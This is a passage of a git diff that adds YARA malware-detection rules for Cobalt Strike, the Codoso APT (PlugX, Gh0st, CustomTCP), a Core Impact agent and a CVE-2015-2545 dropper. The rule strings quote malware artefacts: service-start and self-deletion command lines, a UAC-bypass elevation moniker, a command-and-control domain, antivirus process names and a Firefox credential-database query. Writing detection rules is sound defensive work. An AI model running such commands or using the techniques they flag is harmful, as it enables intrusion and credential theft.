+		$s233 = { E9 E8 E9 E8 E9 EB ?? ?? E9 EB E9 E8 E9 EB ?? ?? E9 EA E9 EB E9 ED ?? ?? ?? ?? E9 ED E9 EB E9 ED ?? ?? ?? ?? E9 EC E9 E8 E9 EB ?? ?? }
+		$s234 = { EA EB EA EB EA E8 ?? ?? EA E8 EA EB EA E8 ?? ?? EA E9 EA E8 EA EE ?? ?? ?? ?? EA EE EA E8 EA EE ?? ?? ?? ?? EA EF EA EB EA E8 ?? ?? }
+		$s235 = { EB EA EB EA EB E9 ?? ?? EB E9 EB EA EB E9 ?? ?? EB E8 EB E9 EB EF ?? ?? ?? ?? EB EF EB E9 EB EF ?? ?? ?? ?? EB EE EB EA EB E9 ?? ?? }
+		$s236 = { EC ED EC ED EC EE ?? ?? EC EE EC ED EC EE ?? ?? EC EF EC EE EC E8 ?? ?? ?? ?? EC E8 EC EE EC E8 ?? ?? ?? ?? EC E9 EC ED EC EE ?? ?? }
+		$s237 = { ED EC ED EC ED EF ?? ?? ED EF ED EC ED EF ?? ?? ED EE ED EF ED E9 ?? ?? ?? ?? ED E9 ED EF ED E9 ?? ?? ?? ?? ED E8 ED EC ED EF ?? ?? }
+		$s238 = { EE EF EE EF EE EC ?? ?? EE EC EE EF EE EC ?? ?? EE ED EE EC EE EA ?? ?? ?? ?? EE EA EE EC EE EA ?? ?? ?? ?? EE EB EE EF EE EC ?? ?? }
+		$s239 = { EF EE EF EE EF ED ?? ?? EF ED EF EE EF ED ?? ?? EF EC EF ED EF EB ?? ?? ?? ?? EF EB EF ED EF EB ?? ?? ?? ?? EF EA EF EE EF ED ?? ?? }
+		$s240 = { F0 F1 F0 F1 F0 F2 ?? ?? F0 F2 F0 F1 F0 F2 ?? ?? F0 F3 F0 F2 F0 F4 ?? ?? ?? ?? F0 F4 F0 F2 F0 F4 ?? ?? ?? ?? F0 F5 F0 F1 F0 F2 ?? ?? }
+		$s241 = { F1 F0 F1 F0 F1 F3 ?? ?? F1 F3 F1 F0 F1 F3 ?? ?? F1 F2 F1 F3 F1 F5 ?? ?? ?? ?? F1 F5 F1 F3 F1 F5 ?? ?? ?? ?? F1 F4 F1 F0 F1 F3 ?? ?? }
+		$s242 = { F2 F3 F2 F3 F2 F0 ?? ?? F2 F0 F2 F3 F2 F0 ?? ?? F2 F1 F2 F0 F2 F6 ?? ?? ?? ?? F2 F6 F2 F0 F2 F6 ?? ?? ?? ?? F2 F7 F2 F3 F2 F0 ?? ?? }
+		$s243 = { F3 F2 F3 F2 F3 F1 ?? ?? F3 F1 F3 F2 F3 F1 ?? ?? F3 F0 F3 F1 F3 F7 ?? ?? ?? ?? F3 F7 F3 F1 F3 F7 ?? ?? ?? ?? F3 F6 F3 F2 F3 F1 ?? ?? }
+		$s244 = { F4 F5 F4 F5 F4 F6 ?? ?? F4 F6 F4 F5 F4 F6 ?? ?? F4 F7 F4 F6 F4 F0 ?? ?? ?? ?? F4 F0 F4 F6 F4 F0 ?? ?? ?? ?? F4 F1 F4 F5 F4 F6 ?? ?? }
+		$s245 = { F5 F4 F5 F4 F5 F7 ?? ?? F5 F7 F5 F4 F5 F7 ?? ?? F5 F6 F5 F7 F5 F1 ?? ?? ?? ?? F5 F1 F5 F7 F5 F1 ?? ?? ?? ?? F5 F0 F5 F4 F5 F7 ?? ?? }
+		$s246 = { F6 F7 F6 F7 F6 F4 ?? ?? F6 F4 F6 F7 F6 F4 ?? ?? F6 F5 F6 F4 F6 F2 ?? ?? ?? ?? F6 F2 F6 F4 F6 F2 ?? ?? ?? ?? F6 F3 F6 F7 F6 F4 ?? ?? }
+		$s247 = { F7 F6 F7 F6 F7 F5 ?? ?? F7 F5 F7 F6 F7 F5 ?? ?? F7 F4 F7 F5 F7 F3 ?? ?? ?? ?? F7 F3 F7 F5 F7 F3 ?? ?? ?? ?? F7 F2 F7 F6 F7 F5 ?? ?? }
+		$s248 = { F8 F9 F8 F9 F8 FA ?? ?? F8 FA F8 F9 F8 FA ?? ?? F8 FB F8 FA F8 FC ?? ?? ?? ?? F8 FC F8 FA F8 FC ?? ?? ?? ?? F8 FD F8 F9 F8 FA ?? ?? }
+		$s249 = { F9 F8 F9 F8 F9 FB ?? ?? F9 FB F9 F8 F9 FB ?? ?? F9 FA F9 FB F9 FD ?? ?? ?? ?? F9 FD F9 FB F9 FD ?? ?? ?? ?? F9 FC F9 F8 F9 FB ?? ?? }
+		$s250 = { FA FB FA FB FA F8 ?? ?? FA F8 FA FB FA F8 ?? ?? FA F9 FA F8 FA FE ?? ?? ?? ?? FA FE FA F8 FA FE ?? ?? ?? ?? FA FF FA FB FA F8 ?? ?? }
+		$s251 = { FB FA FB FA FB F9 ?? ?? FB F9 FB FA FB F9 ?? ?? FB F8 FB F9 FB FF ?? ?? ?? ?? FB FF FB F9 FB FF ?? ?? ?? ?? FB FE FB FA FB F9 ?? ?? }
+		$s252 = { FC FD FC FD FC FE ?? ?? FC FE FC FD FC FE ?? ?? FC FF FC FE FC F8 ?? ?? ?? ?? FC F8 FC FE FC F8 ?? ?? ?? ?? FC F9 FC FD FC FE ?? ?? }
+		$s253 = { FD FC FD FC FD FF ?? ?? FD FF FD FC FD FF ?? ?? FD FE FD FF FD F9 ?? ?? ?? ?? FD F9 FD FF FD F9 ?? ?? ?? ?? FD F8 FD FC FD FF ?? ?? }
+		$s254 = { FE FF FE FF FE FC ?? ?? FE FC FE FF FE FC ?? ?? FE FD FE FC FE FA ?? ?? ?? ?? FE FA FE FC FE FA ?? ?? ?? ?? FE FB FE FF FE FC ?? ?? }
+		$s255 = { FF FE FF FE FF FD ?? ?? FF FD FF FE FF FD ?? ?? FF FC FF FD FF FB ?? ?? ?? ?? FF FB FF FD FF FB ?? ?? ?? ?? FF FA FF FE FF FD ?? ?? }
+		
+		$fp1 = "ICSharpCode.Decompiler" wide
+    condition:
+		any of ($s*) and not 1 of ($fp*)
+}
+
+rule CobaltStrike_MZ_Launcher {
+	meta:
+		description = "Detects CobaltStrike MZ header ReflectiveLoader launcher"
+		author = "yara@s3c.za.net"
+		date = "2021-07-08"
+		id = "461a4741-11c5-53d9-b8e1-52d64cfe755b"
+    strings:
+        $mz_launcher = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D }
+	condition:
+		$mz_launcher
+}
+
+rule CobaltStrike_Unmodifed_Beacon {
+	meta:
+		description = "Detects unmodified CobaltStrike beacon DLL"
+		author = "yara@s3c.za.net"
+		date = "2019-08-16"
+		id = "8eeb03f9-9698-5a46-b45b-224d5c3f3df7"
+	strings:
+		$loader_export = "ReflectiveLoader"
+		$exportname = "beacon.dll"
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_codoso.yar b/yara-Neo23x0/apt_codoso.yar
new file mode 100644
index 0000000..a5746fb
--- /dev/null
+++ b/yara-Neo23x0/apt_codoso.yar
@@ -0,0 +1,367 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-30
+	Identifier: Codoso
+	Comment: Reduced signature set for LOKI integration
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Codoso_PlugX_3 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
+		id = "55066812-3a8e-5099-afb4-ff7a59f1ccb2"
+	strings:
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "mcs.exe" fullword ascii
+		$s3 = "McAltLib.dll" fullword ascii
+		$s4 = "WinRAR self-extracting archive" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1200KB and all of them
+}
+rule Codoso_PlugX_2 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
+		id = "0402a0ff-5664-52db-a739-51c5181853f8"
+	strings:
+		$s1 = "%TEMP%\\HID" fullword wide
+		$s2 = "%s\\hid.dll" fullword wide
+		$s3 = "%s\\SOUNDMAN.exe" fullword wide
+		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
+		$s5 = "%s\\HID.dllx" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them ) or all of them
+}
+rule Codoso_CustomTCP_4 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
+		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
+		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
+		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+	strings:
+		$x1 = "varus_service_x86.dll" fullword ascii
+
+		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s2 = "net start %%1" fullword ascii
+		$s3 = "ping 127.1 > nul" fullword ascii
+		$s4 = "McInitMISPAlertEx" fullword ascii
+		$s5 = "sc start %%1" fullword ascii
+		$s6 = "net stop %%1" fullword ascii
+		$s7 = "WorkerRun" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 5 of them ) or
+		( $x1 and 2 of ($s*) )
+}
+rule Codoso_CustomTCP_3 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+	strings:
+		$s1 = "DnsApi.dll" fullword ascii
+		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
+		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
+		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
+		$s6 = "iphlpapi.dll" ascii
+		$s7 = "%systemroot%\\Web\\" ascii
+		$s8 = "Proxy-Authorization: Negotiate %s" ascii
+		$s9 = "CLSID\\{%s}\\InprocServer32" ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 5 of them ) or 7 of them
+}
+rule Codoso_CustomTCP_2 {
+	meta:
+		description = "Detects Codoso APT CustomTCP Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+	strings:
+		$s1 = "varus_service_x86.dll" fullword ascii
+		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
+		$s3 = "net start %%1" fullword ascii
+		$s4 = "ping 127.1 > nul" fullword ascii
+		$s5 = "McInitMISPAlertEx" fullword ascii
+		$s6 = "sc start %%1" fullword ascii
+		$s7 = "B_WKNDNSK^" fullword ascii
+		$s8 = "net stop %%1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 406KB and all of them
+}
+rule Codoso_PGV_PVID_6 {
+	meta:
+		description = "Detects Codoso APT PGV_PVID Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
+		id = "6d1d8490-fdcb-5263-ae00-0b436e822fc3"
+	strings:
+		$s0 = "rundll32 \"%s\",%s" fullword ascii
+		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and all of them
+}
+rule Codoso_Gh0st_3 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
+		id = "55fb17c5-ee11-55be-9af3-e9fe8d6160b5"
+	strings:
+		$x1 = "RunMeByDLL32" fullword ascii
+
+		$s1 = "svchost.dll" fullword wide
+		$s2 = "server.dll" fullword ascii
+		$s3 = "Copyright ? 2008" fullword wide
+		$s4 = "testsupdate33" fullword ascii
+		$s5 = "Device Protect Application" fullword wide
+		$s6 = "MSVCP60.DLL" fullword ascii /* Goodware String - occured 1 times */
+		$s7 = "mail-news.eicp.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 195KB and $x1 or 4 of them
+}
+rule Codoso_Gh0st_2 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		id = "5643d028-2a76-5bce-bf2f-8be706ab1fd5"
+	strings:
+		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$s14 = "%s -r debug 1" fullword ascii
+		$s15 = "\\\\.\\keymmdrv1" fullword ascii
+		$s17 = "RunMeByDLL32" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 1 of them
+}
+rule Codoso_CustomTCP {
+	meta:
+		description = "Codoso CustomTCP Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
+		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
+	strings:
+		$s4 = "wnyglw" fullword ascii
+		$s5 = "WorkerRun" fullword ascii
+		$s7 = "boazdcd" fullword ascii
+		$s8 = "wayflw" fullword ascii
+		$s9 = "CODETABL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 405KB and all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Codoso_PGV_PVID_5 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+		id = "0202d82c-c1f8-59f7-96b6-b21f21c1dc69"
+	strings:
+		$s1 = "/c del %s >> NUL" fullword ascii
+		$s2 = "%s%s.manifest" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+rule Codoso_Gh0st_1 {
+	meta:
+		description = "Detects Codoso APT Gh0st Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
+		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
+		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
+		id = "24d9e64c-4b35-5737-92ae-8ec391d494c7"
+	strings:
+		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
+		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
+		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
+		$x4 = "\\\\.\\keymmdrv1" fullword ascii
+
+		$s1 = "spideragent.exe" fullword ascii
+		$s2 = "AVGIDSAgent.exe" fullword ascii
+		$s3 = "kavsvc.exe" fullword ascii
+		$s4 = "mspaint.exe" fullword ascii
+		$s5 = "kav.exe" fullword ascii
+		$s6 = "avp.exe" fullword ascii
+		$s7 = "NAV.exe" fullword ascii
+
+		$c1 = "Elevation:Administrator!new:" wide
+		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
+		$c3 = "\\sysprep\\sysprep.exe" wide
+		$c4 = "\\sysprep\\CRYPTBASE.dll" wide
+		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
+		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
+		$c7 = "\\sysprep" wide
+		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ( 4 of ($s*) or 4 of ($c*) ) or
+		1 of ($x*) or
+		6 of ($c*)
+}
+rule Codoso_PGV_PVID_4 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+		id = "c1c753a6-77b6-5bfb-89f9-16127c264fd0"
+	strings:
+		$x1 = "dropper, Version 1.0" fullword wide
+		$x2 = "dropper" fullword wide
+		$x3 = "DROPPER" fullword wide
+		$x4 = "About dropper" fullword wide
+
+		$s1 = "Microsoft Windows Manager Utility" fullword wide
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" ascii /* Goodware String - occured 9 times */
+		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii /* Goodware String - occured 10 times */
+		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii /* Goodware String - occured 46 times */
+		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii /* Goodware String - occured 65 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 2 of ($x*) and 2 of ($s*)
+}
+rule Codoso_PlugX_1 {
+	meta:
+		description = "Detects Codoso APT PlugX Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
+		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
+		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
+		id = "af777818-5cff-5571-b5e9-0f5a4c8b08ff"
+	strings:
+		$s1 = "GETPASSWORD1" fullword ascii
+		$s2 = "NvSmartMax.dll" fullword ascii
+		$s3 = "LICENSEDLG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+rule Codoso_PGV_PVID_3 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
+		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
+		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
+		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+		id = "08003dba-1201-5f74-9edd-ea321bb26e99"
+	strings:
+		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide
+	condition:
+		$x1
+}
+rule Codoso_PGV_PVID_2 {
+	meta:
+		description = "Detects Codoso APT PGV PVID Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+		date = "2016-01-30"
+		super_rule = 1
+		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
+		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
+		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
+		id = "e4c00806-3092-5ec2-844f-b638c31fa6a5"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
+		$s2 = "Help and Support" fullword ascii
+		$s3 = "netsvcs" fullword ascii
+		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii /* Goodware String - occured 4 times */
+		$s10 = "winlogon" fullword ascii /* Goodware String - occured 4 times */
+		$s11 = "System\\CurrentControlSet\\Services" fullword ascii /* Goodware String - occured 11 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+
+rule Codoso_PGV_PVID_1 {
+   meta:
+      description = "Detects Codoso APT PGV PVID Malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
+      date = "2016-01-30"
+      super_rule = 1
+      hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
+      hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
+      hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
+      hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
+      hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
+      id = "9487773a-01d9-558e-8866-b8a8650996ba"
+   strings:
+      $x1 = "DRIVERS\\ipinip.sys" fullword wide
+
+      $s1 = "TsWorkSpaces.dll" fullword ascii
+      $s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+      $s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
+      $s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
+      $s5 = "Microsoft Chart ActiveX Control" fullword wide
+      $s6 = "MSChartCtrl.ocx" fullword wide
+      $s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
+      $s8 = "WUServiceMain" fullword ascii /* Goodware String - occured 2 times */
+      $s9 = "Cookie: pgv_pvid=" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and ( 1 of ($x*) or 3 of them ) ) or
+      5 of them
+}
diff --git a/yara-Neo23x0/apt_coreimpact_agent.yar b/yara-Neo23x0/apt_coreimpact_agent.yar
new file mode 100644
index 0000000..2dacfe8
--- /dev/null
+++ b/yara-Neo23x0/apt_coreimpact_agent.yar
@@ -0,0 +1,27 @@
+/*
+	Core Impact Agent known from RocketKitten and WoolenGoldfish APT
+*/
+
+
+rule CoreImpact_sysdll_exe {
+   meta:
+      description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      date = "27.12.2014"
+      modified = "2023-01-06"
+      hash = "f89a4d4ae5cca6d69a5256c96111e707"
+      id = "bac55c00-5d14-59ca-8597-f52b4577be0c"
+   strings:
+      $s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
+
+      $s1 = "Mozilla/5.0" fullword ascii
+      $s3 = "index.php?c=%s&r=%lx" fullword ascii
+      $s4 = "index.php?c=%s&r=%x" fullword ascii
+      $s5 = "127.0.0.1" fullword ascii
+      $s6 = "/info.dat" ascii
+      $s7 = "needroot" fullword ascii
+      $s8 = "./plugins/" ascii
+   condition:
+      $s0 or 6 of them
+}
diff --git a/yara-Neo23x0/apt_danti_svcmondr.yar b/yara-Neo23x0/apt_danti_svcmondr.yar
new file mode 100644
index 0000000..ac08d44
--- /dev/null
+++ b/yara-Neo23x0/apt_danti_svcmondr.yar
@@ -0,0 +1,77 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-25
+	Identifier: Kaspersky Report on threats involving CVE-2015-2545
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Mal_Dropper_httpEXE_from_CAB {
+	meta:
+		description = "Detects a dropper from a CAB file mentioned in the article"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 60
+		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
+		id = "f67c13e9-67e7-56aa-8ced-55e9bb814971"
+	strings:
+		$s1 = "029.Hdl" fullword ascii
+		$s2 = "http.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) )
+}
+
+rule Mal_http_EXE {
+	meta:
+		description = "Detects trojan from APT report named http.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		modified = "2023-01-27"
+		score = 80
+		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
+		id = "bcae9920-56ea-54a1-857b-70c275090e19"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
+		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
+		$x3 = "\\dumps.dat" ascii
+		$x4 = "\\wordpade.exe" ascii
+		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
+		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
+		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
+		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii /* base64: pKY1[1 */
+
+		$s1 = "SELECT * FROM moz_logins;" fullword ascii
